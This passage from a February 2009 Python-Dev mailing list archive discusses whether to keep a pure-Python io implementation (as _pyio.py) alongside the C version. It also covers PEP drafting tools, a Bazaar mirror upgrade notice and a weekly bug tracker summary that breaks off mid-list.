Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: <499E4107.3040500@pearwood.info> Guido van Rossum wrote: > On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon wrote: >> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson >> wrote: >>> As we prepare to merge the io-c branch, the question has come up [1] >>> about the original Python implementation. Should it just be deleted in >>> favor C version? The wish to maintain the two implementations together >>> has been raised on the basis that Python is easier to experiment on >>> and read (for other vm implementors). >> Probably not a surprise, but +1 from me for keeping the pure Python version >> around for the benefit of other VMs as well as a reference implementation. > > You have been practice channeling me again, haven't you? I like the > idea of having two (closely matching) implementations very much. In > 2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle, > heapq/_heapq. In 3.0 we've moved towards standardizing the approach -- > the foo.py file first defines everything and then tries to import * > from _foo on top of that. Currently, if I want to verify that (say) cFoo and Foo do the same thing, or compare their speed, it's easy because I can import the modules separately. Given the 3.0 approach, how would one access the Python versions without black magic or hacks? -- Steven From brett at python.org Fri Feb 20 06:49:27 2009 From: brett at python.org (Brett Cannon) Date: Thu, 19 Feb 2009 21:49:27 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <499E4107.3040500@pearwood.info> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> <499E4107.3040500@pearwood.info> Message-ID: On Thu, Feb 19, 2009 at 21:35, Steven D'Aprano wrote: > Guido van Rossum wrote: > >> On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon wrote: >> >>> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson >>> wrote: >>> >>>> As we prepare to merge the io-c branch, the question has come up [1] >>>> about the original Python implementation. Should it just be deleted in >>>> favor C version? The wish to maintain the two implementations together >>>> has been raised on the basis that Python is easier to experiment on >>>> and read (for other vm implementors). >>>> >>> Probably not a surprise, but +1 from me for keeping the pure Python >>> version >>> around for the benefit of other VMs as well as a reference >>> implementation. >>> >> >> You have been practice channeling me again, haven't you? I like the >> idea of having two (closely matching) implementations very much. In >> 2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle, >> heapq/_heapq. In 3.0 we've moved towards standardizing the approach -- >> the foo.py file first defines everything and then tries to import * >> from _foo on top of that. >> > > > Currently, if I want to verify that (say) cFoo and Foo do the same thing, > or compare their speed, it's easy because I can import the modules > separately. Given the 3.0 approach, how would one access the Python versions > without black magic or hacks? As of right now there is no standard practice, although coming up with a standard way of handling this would probably be a good thing as this will also help with the testing story. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From alexandre at peadrop.com Fri Feb 20 08:18:09 2009 From: alexandre at peadrop.com (Alexandre Vassalotti) Date: Fri, 20 Feb 2009 02:18:09 -0500 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <499E4107.3040500@pearwood.info> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> <499E4107.3040500@pearwood.info> Message-ID: On Fri, Feb 20, 2009 at 12:35 AM, Steven D'Aprano wrote: > > Currently, if I want to verify that (say) cFoo and Foo do the same thing, or > compare their speed, it's easy because I can import the modules separately. > Given the 3.0 approach, how would one access the Python versions without > black magic or hacks? > My prefered way to handle this is to keep the original Python implementations with a leading underscore (e.g., pickle._Pickler). I found this was the easiest way to test the C and Python implementations without resorting to import hacks. -- Alexandre From solipsis at pitrou.net Fri Feb 20 11:48:25 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 20 Feb 2009 10:48:25 +0000 (UTC) Subject: [Python-Dev] IO implementation: in C and Python? References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: Benjamin Peterson python.org> writes: > > As we prepare to merge the io-c branch, the question has come up [1] > about the original Python implementation. Should it just be deleted in > favor C version? The wish to maintain the two implementations together > has been raised on the basis that Python is easier to experiment on > and read (for other vm implementors). As I said, if it is the way forward, I suggest putting the Python version in a separate module (e.g. pyio.py), for the sake of clarity and also because it may slightly improve startup times (the pure-Python module wouldn't get imported in normal conditions). Your thoughts? Regards Antoine. From g.brandl at gmx.net Fri Feb 20 12:16:51 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Fri, 20 Feb 2009 12:16:51 +0100 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <87tz6ppzk9.fsf@xemacs.org> References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: Stephen J. Turnbull schrieb: > FWIW, Google Docs is almost there. Working with Brett et al on early > drafts of PEP 0374 was easy and pleasant, and Google Docs gives > control of access to the document to the editor, not the Subversion > admin. The ability to make comments that are not visible to > non-editors was nice. Now that it's in Subversion it's much less > convenient for me (a non-committer). I actually have to *decide* to > work on it, rather than simply raising a browser window, hitting > "refresh" and fixing a typo or two (then back to "day job" work). > > The main problem with Google Docs is that is records a revision > automatically every so often (good) but doesn't prune the automatic > commits (possibly hard to do efficiently) OR mark user saves specially > (easy to do). This lack of marking "important" revisions makes the > diff functionality kind of tedious. > > I don't know how automatic the conversion to reST was, but the PEP in > Subversion is a quite accurate conversion of the Google Doc version. The Python Wiki should also be considered: * Comparing versions is easy, and versions are only saved on "Save" * It supports reStructuredText, so there is no need for conversion afterwards. For PEPs drafted exclusively by committers, SVN is of course still the best and simplest option. Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From solipsis at pitrou.net Fri Feb 20 12:21:19 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 20 Feb 2009 11:21:19 +0000 (UTC) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: Georg Brandl gmx.net> writes: > > The Python Wiki should also be considered: > > * Comparing versions is easy, and versions are only saved on "Save" > > * It supports reStructuredText, so there is no need for conversion > afterwards. And it's vendor-neutral :-) From g.brandl at gmx.net Fri Feb 20 12:54:19 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Fri, 20 Feb 2009 12:54:19 +0100 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: Antoine Pitrou schrieb: > Benjamin Peterson python.org> writes: >> >> As we prepare to merge the io-c branch, the question has come up [1] >> about the original Python implementation. Should it just be deleted in >> favor C version? The wish to maintain the two implementations together >> has been raised on the basis that Python is easier to experiment on >> and read (for other vm implementors). > > As I said, if it is the way forward, I suggest putting the Python version in a > separate module (e.g. pyio.py), for the sake of clarity and also because it may > slightly improve startup times (the pure-Python module wouldn't get imported in > normal conditions). > > Your thoughts? I just hope everyone updates both versions when making changes to IO. This is somewhat of a non-problem for small modules like bisect, or heapq. For pickle and StringIO, we already saw how not to do it in 2.x -- hopefully the new _pickle and pickle modules stay compatible. IO is much larger a piece of code... Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From solipsis at pitrou.net Fri Feb 20 13:01:37 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 20 Feb 2009 12:01:37 +0000 (UTC) Subject: [Python-Dev] IO implementation: in C and Python? References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: Georg Brandl gmx.net> writes: > > I just hope everyone updates both versions when making changes to IO. My proposal is just organizational, it is neutral in terms of whether or not the Python version is correctly maintained. We can hope that the IO lib *semantics* won't change too much in the future (although there is an IMO legitimate request for a setblocking() method: http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to willingly use the Python version if the C version is available. From fuzzyman at voidspace.org.uk Fri Feb 20 13:04:49 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Fri, 20 Feb 2009 12:04:49 +0000 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: <499E9C61.4040009@voidspace.org.uk> Antoine Pitrou wrote: > Georg Brandl gmx.net> writes: > >> I just hope everyone updates both versions when making changes to IO. >> > > My proposal is just organizational, it is neutral in terms of whether or not the > Python version is correctly maintained. > > We can hope that the IO lib *semantics* won't change too much in the future > (although there is an IMO legitimate request for a setblocking() method: > http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to > willingly use the Python version if the C version is available. > > > If they're functionally equivalent and single set of tests is run on both then -- assuming good tests -- breakage would be noticed... Michael > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk > From lie.1296 at gmail.com Fri Feb 20 14:33:59 2009 From: lie.1296 at gmail.com (Lie Ryan) Date: Fri, 20 Feb 2009 13:33:59 +0000 (UTC) Subject: [Python-Dev] IO implementation: in C and Python? References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: On Thu, 19 Feb 2009 21:41:51 -0600, Benjamin Peterson wrote: > As we prepare to merge the io-c branch, the question has come up [1] > about the original Python implementation. Should it just be deleted in > favor C version? The wish to maintain the two implementations together > has been raised on the basis that Python is easier to experiment on and > read (for other vm implementors). > > Thoughts? > > http://bugs.python.org/issue4565 How about making it an optional module instead, a compile flag when compiling python would determine whether the python or C or both versions of the libraries would be included with C-only as the default. Alternatively, if the compile flag was turned off and you want access to the python version, provide a downloadable pure python library (OS package manager could have something like python-lib-purepy or something similar). This would streamline python, and only people who want to mess around would download the purepy version. From barry at python.org Fri Feb 20 16:09:52 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 20 Feb 2009 10:09:52 -0500 Subject: [Python-Dev] Attention Bazaar mirror users Message-ID: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I've just upgraded the Bazaar mirrors on code.python.org to use bzr 1.12. We now have the opportunity to upgrade the repository format for better performance. Because of the bzr-svn requirement, we need a "rich root" format. Upgrading to 1.9-rich-root could buy us some significant performance improvements, but it will require all clients to upgrade to at least bzr 1.9, which was released on November 7, 2008. I would like to do this upgrade. If you are currently using the Bazaar mirrors at code.python.org and upgrading your client to at least bzr 1.9 would be a hardship, please contact me. If I don't hear any objections by say Tuesday, I'll go ahead and do the repo upgrades. Thanks, Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZ7HwHEjvBPtnXfVAQIlxAQAk0ze8AHLY8aezrH35+Vv4tXloLy/FV1M GHF2QzLBaV45Hr4d3i8Os32eaSvhWyFbCGeBZtm3q3pOwPy9ST/tDdI0XBwjd0M1 FV1Pg3v97IYeI6Pa1HKz0sKxbygACiZ9iQWde3b85zXEhsaZfXo7RiendmMkYift Uvw0WWJZ1DU= =sCFZ -----END PGP SIGNATURE----- From guido at python.org Fri Feb 20 16:42:17 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 20 Feb 2009 07:42:17 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: On Fri, Feb 20, 2009 at 4:01 AM, Antoine Pitrou wrote: > Georg Brandl gmx.net> writes: >> >> I just hope everyone updates both versions when making changes to IO. > > My proposal is just organizational, it is neutral in terms of whether or not the > Python version is correctly maintained. I worry that with your proposal people are once again going to import the pure Python version where they shouldn't. Maybe _pyio.py would work though? > We can hope that the IO lib *semantics* won't change too much in the future > (although there is an IMO legitimate request for a setblocking() method: > http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to > willingly use the Python version if the C version is available. Hoping that modules won't evolve is futile. The concern for divergence is real. Unit-testing both with the same tests might be the solution. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From solipsis at pitrou.net Fri Feb 20 16:50:45 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 20 Feb 2009 15:50:45 +0000 (UTC) Subject: [Python-Dev] IO implementation: in C and Python? References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: Guido van Rossum python.org> writes: > > I worry that with your proposal people are once again going to import > the pure Python version where they shouldn't. Maybe _pyio.py would > work though? I'm ok with _pyio.py. > Hoping that modules won't evolve is futile. The concern for divergence > is real. Unit-testing both with the same tests might be the solution. Yes, the same tests should be applied to both (modulo the few ones that test for implementation-specific behaviour, e.g. the max_buffer_size stuff). Regards Antoine. From status at bugs.python.org Fri Feb 20 18:07:22 2009 From: status at bugs.python.org (Python tracker) Date: Fri, 20 Feb 2009 18:07:22 +0100 (CET) Subject: [Python-Dev] Summary of Python tracker Issues Message-ID: <20090220170722.B23AE7838B@psf.upfronthosting.co.za> ACTIVITY SUMMARY (02/13/09 - 02/20/09) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue number. Do NOT respond to this message. 2341 open (+55) / 14813 closed (+27) / 17154 total (+82) Open issues with patches: 817 Average duration of open issues: 656 days. Median duration of open issues: 393 days. Open Issues Breakdown open 2315 (+55) pending 26 ( +0) Issues Created Or Reopened (84) _______________________________ Document __instancecheck__ and __subclasscheck__ 02/13/09 http://bugs.python.org/issue5250 created tjreedy contextlib.nested inconsistent with, well, nested with statement 02/13/09 http://bugs.python.org/issue5251 created jwp 2to3 should detect and delete import of removed statvfs module 02/13/09 http://bugs.python.org/issue5252 created sjt os.environ.get() doesn't handle default value 02/13/09 CLOSED http://bugs.python.org/issue5253 created marystern Formatting error in "findertools" header 02/13/09 http://bugs.python.org/issue5254 created adamvan unicode support with os.readlink() 02/13/09 CLOSED http://bugs.python.org/issue5255 created scudette rlcompleter adds builtins when custom dict is used 02/14/09 http://bugs.python.org/issue5256 created armandas test_zipfle and test_distutils write in the test directories 02/14/09 http://bugs.python.org/issue5257 created tarek addpackage in site.py fails hard on badly formed .pth files 02/14/09 http://bugs.python.org/issue5258 created jwheare smtplib is broken in Python3 02/14/09 http://bugs.python.org/issue5259 created miwa longobject.c: minor fixes, cleanups and optimizations 02/14/09 CLOSED http://bugs.python.org/issue5260 created marketdickinson patch with lock fails on multiprocessing 02/14/09 http://bugs.python.org/issue5261 created stepheng.lynch patch PythonLauncher considered harmfull 02/14/09 http://bugs.python.org/issue5262 created ronaldoussoren Error printing UTF-8 decoded text 02/14/09 CLOSED http://bugs.python.org/issue5263 created grace StringIO failure when reading a chunk of text without newlines 02/14/09 http://bugs.python.org/issue5264 created pitrou StringIO can duplicate newlines in universal newlines mode 02/14/09 http://bugs.python.org/issue5265 created pitrou StringIO.read(n) does not enforce requested size in newline mode 02/14/09 http://bugs.python.org/issue5266 created pitrou Subversion problem with PythonLauncher after building 3.0 or 3.1 02/15/09 http://bugs.python.org/issue5267 created MLModel VMSError not documented in Doc/library/exceptions.rst 02/15/09 CLOSED http://bugs.python.org/issue5268 created MLModel OS X Installer: add options to specify universal build type and 02/15/09 http://bugs.python.org/issue5269 created nad OS X installer: faulty Python.app bundle inside of framework 02/15/09 http://bugs.python.org/issue5270 created nad OS X installer: build can fail on import checks 02/15/09 http://bugs.python.org/issue5271 created nad OS X installer: fix makefile target changed for 3.x 02/15/09 http://bugs.python.org/issue5272 created nad 3.0.1 crashes in unicode path 02/15/09 http://bugs.python.org/issue5273 created miwa patch sys.exc_info()[1] - different handling from str() and unicode() 02/15/09 http://bugs.python.org/issue5274 created vbr BaseCookie.load doesn't create Morsel objects for mappings 02/15/09 http://bugs.python.org/issue5275 created eggy IDLE startup file .Idle.py not documented 02/15/09 http://bugs.python.org/issue5276 created MLModel email message.get_params() and related methods sometimes fail. 02/16/09 http://bugs.python.org/issue5277 created msapiro patch optparse documentation example 02/16/09 CLOSED http://bugs.python.org/issue5278 created orsenthil 2to3 mishandles some imports 02/16/09 CLOSED http://bugs.python.org/issue5279 created jwilk PyBytes_InternInPlace is missing in bytesobject.h 02/16/09 CLOSED http://bugs.python.org/issue5280 created rsms Slight inconsistency in documentation appearances of RuntimeErro 02/16/09 CLOSED http://bugs.python.org/issue5281 created MLModel mmap.resize and offset 02/16/09 CLOSED http://bugs.python.org/issue5282 created ocean-city patch setting __class__ in __del__ is bad. mmkay. negative ref count! 02/16/09 http://bugs.python.org/issue5283 created jwp patch platform.linux_distribution() improperly documented 02/16/09 CLOSED http://bugs.python.org/issue5284 created aronacher easy hmac throws TypeErrors 02/16/09 http://bugs.python.org/issue5285 created kteague urrlib2 digest authentication problems 02/16/09 http://bugs.python.org/issue5286 created En-Cu-Kou patch logging package on IronPython 02/18/09 CLOSED http://bugs.python.org/issue5287 reopened vsajip patch tzinfo objects with sub-minute offsets are not supported (e.g. U 02/17/09 http://bugs.python.org/issue5288 created jamesh ctypes.util.find_library does not work under Solaris 02/17/09 http://bugs.python.org/issue5289 created kewang patch subprocess.Popen.communicate does not encode unicode strings 02/17/09 http://bugs.python.org/issue5290 created beda Windows upgrade to 2.6.1 requires 2.6 installer to be present 02/17/09 CLOSED http://bugs.python.org/issue5291 created mkesper mmap crashes just on boundary. 02/17/09 CLOSED http://bugs.python.org/issue5292 created ocean-city patch socket timeouts even in blocking mode 02/17/09 CLOSED http://bugs.python.org/issue5293 created techtonik pdb "break" command messes up "continue" 02/17/09 http://bugs.python.org/issue5294 created En-Cu-Kou turtle.py "dicionary" spelling patch 02/17/09 http://bugs.python.org/issue5295 created LambertDW Use of term sequence in Reference 6.3 Assignment Statements 02/17/09 CLOSED http://bugs.python.org/issue5296 created bgailer Bug in SocketServer Example 02/17/09 CLOSED http://bugs.python.org/issue5297 created zdwiel Inconsistency in C-API thread docs 02/17/09 http://bugs.python.org/issue5298 created osvenskan PyGILState_Ensure()/PyGILState_Release() documentation incomplet 02/17/09 http://bugs.python.org/issue5299 created osvenskan Distutils ignores file permissions 02/17/09 http://bugs.python.org/issue5300 created gsakkis add mimetype for image/vnd.microsoft.icon (patch) 02/17/09 http://bugs.python.org/issue5301 created adhintz patch Allow package_data globs match directories 02/17/09 http://bugs.python.org/issue5302 created gsakkis Use base 2**30 for Python longs, when possible 02/17/09 CLOSED http://bugs.python.org/issue5303 created loewis email/base64mime.py cannot work 02/18/09 http://bugs.python.org/issue5304 created l5g imaplib should support international mailbox names 02/18/09 http://bugs.python.org/issue5305 created jamesh Python 3.1 won't compile under Visual Studio 2005 02/18/09 CLOSED http://bugs.python.org/issue5306 created rhettinger patch Python-3.0.1 install fails on Solaris 02/18/09 CLOSED http://bugs.python.org/issue5307 created prowat cannot marshal objects with more than 2**31 elements 02/18/09 http://bugs.python.org/issue5308 created marketdickinson setup.py doesn't parallelize extension module compilation 02/19/09 http://bugs.python.org/issue5309 created pitrou operator precedence table is wrong 02/19/09 CLOSED http://bugs.python.org/issue5310 created gagenellina patch bdist_msi generates version number for pure Python packages 02/19/09 http://bugs.python.org/issue5311 created bethard errno not being set 02/19/09 CLOSED http://bugs.python.org/issue5312 created benjamin.peterson multiprocessing.process using os.close(sys.stdin.fileno) instead 02/19/09 http://bugs.python.org/issue5313 created grahamd http client error 02/19/09 http://bugs.python.org/issue5314 created cober signal handler never gets called 02/19/09 http://bugs.python.org/issue5315 created pts Buildbot failures in test_site 02/19/09 http://bugs.python.org/issue5316 created pitrou URL given for IronPython in CPython documentation incorrect 02/19/09 CLOSED http://bugs.python.org/issue5317 created dfugate strip, rstrip & lstrip bug 02/19/09 CLOSED http://bugs.python.org/issue5318 created alexlc I/O error during one-liner fails to return OS error status 02/19/09 http://bugs.python.org/issue5319 created mkc I/O error during one-liner gives bad diagnostic (and fails to re 02/19/09 http://bugs.python.org/issue5320 created mkc I/O error during one-liner gives no (!) diagnostic (and fails to 02/19/09 http://bugs.python.org/issue5321 created mkc Python 2.6 object.__new__ argument calling autodetection faulty 02/19/09 http://bugs.python.org/issue5322 created aronacher document expected/required behavior of 3.x io subsystem with res 02/19/09 http://bugs.python.org/issue5323 created bitdancer __subclasses__ undocumented 02/19/09 http://bugs.python.org/issue5324 created mfoord "SyntaxError: None" when the name of the dir contains non-ascii 02/20/09 CLOSED http://bugs.python.org/issue5325 created ezio.melotti Wrong anchors in "What's New in Python 2.5" 02/20/09 CLOSED http://bugs.python.org/issue5326 created ezio.melotti Broken link in "What's New in Python 2.5" 02/20/09 CLOSED http://bugs.python.org/issue5327 created ezio.melotti Crash when doing some list iteration 02/20/09 http://bugs.python.org/issue5328 created qwjqwj os.popen2 and os.popen3 in python 2.6 incompatible with os.popen 02/20/09 http://bugs.python.org/issue5329 created jahakala patch profile and cProfile do not report C functions called with keywo 02/20/09 http://bugs.python.org/issue5330 created hagen multiprocessing hangs when Pool used within Process 02/20/09 http://bugs.python.org/issue5331 created zzzeek bdist_deb - Debian packager 02/17/09 http://bugs.python.org/issue1054967 reopened tarek patch Give __len__() advice for "don't know" 02/17/09 http://bugs.python.org/issue1283110 reopened rhettinger Issues Now Closed (103) _______________________ Problem with doctest and decorated functions 529 days http://bugs.python.org/issue1108 stevenjd setp.py error "The process cannot access the file ..." 490 days http://bugs.python.org/issue1285 loewis 2.6 stdlib using with statement 388 days http://bugs.python.org/issue1941 exarkun patch IRIX: Seg-fault while building tests with gmake on test_xml_etre 375 days http://bugs.python.org/issue2048 benjamin.peterson distutils sdist add_defaults does not add data_files 342 days http://bugs.python.org/issue2279 tarek test_util.py for distutils 327 days http://bugs.python.org/issue2461 tarek patch test issue 290 days http://bugs.python.org/issue2771 loewis Operator precedence misdocumented 184 days http://bugs.python.org/issue3558 georg.brandl Obsolete references to PEP 291 in py3k lib 175 days http://bugs.python.org/issue3676 benjamin.peterson Undetected error in _struct.pack_into 173 days http://bugs.python.org/issue3694 ajaksu2 patch urlparse normalize URL path 117 days http://bugs.python.org/issue4191 ajaksu2 Distutils MSVC doesn't create manifest file (with fix) 84 days http://bugs.python.org/issue4431 paxan patch Add Mac OS X Disk Images to Python.org homepage 65 days http://bugs.python.org/issue4627 carlj failed to build ctypes in Python2.6.1 (even with gcc) 38 days http://bugs.python.org/issue4902 matumot name not found in generator in eval() 23 days http://bugs.python.org/issue5044 amaury.forgeotdarc urllib.open sends full URL after GET command instead of local pa 23 days http://bugs.python.org/issue5072 ajaksu2 patch getsockaddrarg() casts port number from int to short without any 16 days http://bugs.python.org/issue5104 gregory.p.smith easy Default hash not equal to id on AMD Sempron 4 days http://bugs.python.org/issue5169 tjreedy subprocess leaves open fds on construction error 7 days http://bugs.python.org/issue5179 georg.brandl Reduce hash collisions for objects with no __hash__ method 5 days http://bugs.python.org/issue5186 rhettinger patch Update log message formatting. 10 days http://bugs.python.org/issue5192 vsajip Documentation for super() neglects to say what super() actually 4 days http://bugs.python.org/issue5229 rhettinger time.strptime fails to match data and format with Unicode whites 1 days http://bugs.python.org/issue5240 brett.cannon eval() function in List Comprehension doesn't work 1 days http://bugs.python.org/issue5242 georg.brandl Unhelpful error message with str.format() 7 days http://bugs.python.org/issue5247 eric.smith patch Fix strftime on windows. 3 days http://bugs.python.org/issue5249 ocean-city patch os.environ.get() doesn't handle default value 0 days http://bugs.python.org/issue5253 gregory.p.smith unicode support with os.readlink() 0 days http://bugs.python.org/issue5255 loewis longobject.c: minor fixes, cleanups and optimizations 1 days http://bugs.python.org/issue5260 marketdickinson patch Error printing UTF-8 decoded text 0 days http://bugs.python.org/issue5263 benjamin.peterson VMSError not documented in Doc/library/exceptions.rst 3 days http://bugs.python.org/issue5268 georg.brandl optparse documentation example 2 days http://bugs.python.org/issue5278 georg.brandl 2to3 mishandles some imports 0 days http://bugs.python.org/issue5279 benjamin.peterson PyBytes_InternInPlace is missing in bytesobject.h 0 days http://bugs.python.org/issue5280 benjamin.peterson Slight inconsistency in documentation appearances of RuntimeErro 0 days http://bugs.python.org/issue5281 benjamin.peterson mmap.resize and offset 1 days http://bugs.python.org/issue5282 ocean-city patch platform.linux_distribution() improperly documented 1 days http://bugs.python.org/issue5284 lemburg easy logging package on IronPython 1 days http://bugs.python.org/issue5287 vsajip patch Windows upgrade to 2.6.1 requires 2.6 installer to be present 1 days http://bugs.python.org/issue5291 loewis mmap crashes just on boundary. 0 days http://bugs.python.org/issue5292 ocean-city patch socket timeouts even in blocking mode 1 days http://bugs.python.org/issue5293 gregory.p.smith Use of term sequence in Reference 6.3 Assignment Statements 0 days http://bugs.python.org/issue5296 georg.brandl Bug in SocketServer Example 0 days http://bugs.python.org/issue5297 georg.brandl Use base 2**30 for Python longs, when possible 0 days http://bugs.python.org/issue5303 loewis Python 3.1 won't compile under Visual Studio 2005 1 days http://bugs.python.org/issue5306 amaury.forgeotdarc patch Python-3.0.1 install fails on Solaris 0 days http://bugs.python.org/issue5307 loewis operator precedence table is wrong 0 days http://bugs.python.org/issue5310 georg.brandl patch errno not being set 1 days http://bugs.python.org/issue5312 benjamin.peterson URL given for IronPython in CPython documentation incorrect 0 days http://bugs.python.org/issue5317 georg.brandl strip, rstrip & lstrip bug 0 days http://bugs.python.org/issue5318 ajaksu2 "SyntaxError: None" when the name of the dir contains non-ascii 0 days http://bugs.python.org/issue5325 ocean-city Wrong anchors in "What's New in Python 2.5" 0 days http://bugs.python.org/issue5326 georg.brandl Broken link in "What's New in Python 2.5" 0 days http://bugs.python.org/issue5327 georg.brandl Expose FinderInfo in FSCatalogInfo 2162 days http://bugs.python.org/issue706585 ronaldoussoren patch Crbon.File.FSSpec should accept non-existing pathnames 2162 days http://bugs.python.org/issue706592 ronaldoussoren getpath.c-generated prefix wrong for Tru64 scripts 2127 days http://bugs.python.org/issue727732 ajaksu2 complex pow() crash on Alpha 2071 days http://bugs.python.org/issue756093 marketdickinson OSX 'freeze' bug 2040 days http://bugs.python.org/issue775340 ajaksu2 Carbon.Snd module SPB constructor shadowed 2036 days http://bugs.python.org/issue776533 ronaldoussoren socket.makefile() isn't compatible with marshal/cPickle/etc 2031 days http://bugs.python.org/issue780354 ajaksu2 aetools.TalkTo methods can be obscured 1983 days http://bugs.python.org/issue806149 ronaldoussoren SCO_SV: many modules cannot be imported 1969 days http://bugs.python.org/issue815753 ajaksu2 [2.3.2] bz2 test failure on AIX 4.3.2, Tru64 UNIX 1935 days http://bugs.python.org/issue835176 ajaksu2 Differentiation between Builtins and extension classes 1920 days http://bugs.python.org/issue841461 loewis patch Can't send Apple Events without WindowServer connection 1905 days http://bugs.python.org/issue852150 ronaldoussoren Carbon.CF.CFURLRef should be easier to create 1903 days http://bugs.python.org/issue853656 ronaldoussoren Configurable SSL handshake 1903 days http://bugs.python.org/issue854918 ajaksu2 Quicktime missing funcitonality 1873 days http://bugs.python.org/issue869649 ronaldoussoren How to pass the proxy server use socket 1870 days http://bugs.python.org/issue872815 ajaksu2 add support for installations compiled for debugging 1865 days http://bugs.python.org/issue875654 ajaksu2 Add a console window for Carbon MacPython applets 1859 days http://bugs.python.org/issue878560 ronaldoussoren Improving MacPython's IAC support 1798 days http://bugs.python.org/issue916013 benjamin.peterson Fix for #876637 - Random stack corruption from socketmodule 1710 days http://bugs.python.org/issue970288 ajaksu2 patch test_signal sucks 1711 days http://bugs.python.org/issue971330 benjamin.peterson Slice indexes passed to __getitem__ are wrapped 1705 days http://bugs.python.org/issue974635 brett.cannon tp_(get|set)attro? inheritance bug 1702 days http://bugs.python.org/issue975646 benjamin.peterson hotspot.stats.load is very slow 1688 days http://bugs.python.org/issue984219 benjamin.peterson Does not build selected SGI specific modules 1669 days http://bugs.python.org/issue995458 tjreedy TclError with intel's hypertheading 1673 days http://bugs.python.org/issue995956 ajaksu2 hotspot profiler does not work correctly on P4 CPUs with HT 1663 days http://bugs.python.org/issue1001150 ajaksu2 PyDoc does not support ZIP 1641 days http://bugs.python.org/issue1011894 ajaksu2 os.stat errors when using shared drive on XP or NT 1615 days http://bugs.python.org/issue1027570 ocean-city Extend Shelf to support unicode keys 1600 days http://bugs.python.org/issue1036490 loewis compile error with stlport 1590 days http://bugs.python.org/issue1044299 brett.cannon subprocess.Popen feature request 1522 days http://bugs.python.org/issue1085861 benjamin.peterson Enhance tracebacks and stack traces with vars 1500 days http://bugs.python.org/issue1098732 skip.montanaro patch csv reader barfs encountering quote when quote_none is set 1484 days http://bugs.python.org/issue1111100 ajaksu2 __getattr__ and __setattr__ methods for modules 1445 days http://bugs.python.org/issue1156499 georg.brandl 2.4 crashes when try to exit app and mulitple threads active 1442 days http://bugs.python.org/issue1159425 amaury.forgeotdarc ConfigParser alternative key-value delimitier 1431 days http://bugs.python.org/issue1165404 ajaksu2 patch PySys_WriteStderr() -> WaitForSingleObject() hangs system 1426 days http://bugs.python.org/issue1169108 tjreedy Install fail code 2932 after fail to copy python_icon.exe 1429 days http://bugs.python.org/issue1169633 ajaksu2 comma separated cookie values 1364 days http://bugs.python.org/issue1210326 ajaksu2 LINKCC->CXX, -ltermcap->-lncurses 1349 days http://bugs.python.org/issue1216923 ajaksu2 patch platform.processor() could be smarter 1326 days http://bugs.python.org/issue1231081 lemburg pdb 'next' does not skip list comprehension 1297 days http://bugs.python.org/issue1248119 benjamin.peterson Fail codecs.lookup() on 'mbcs' and 'tactis' 1292 days 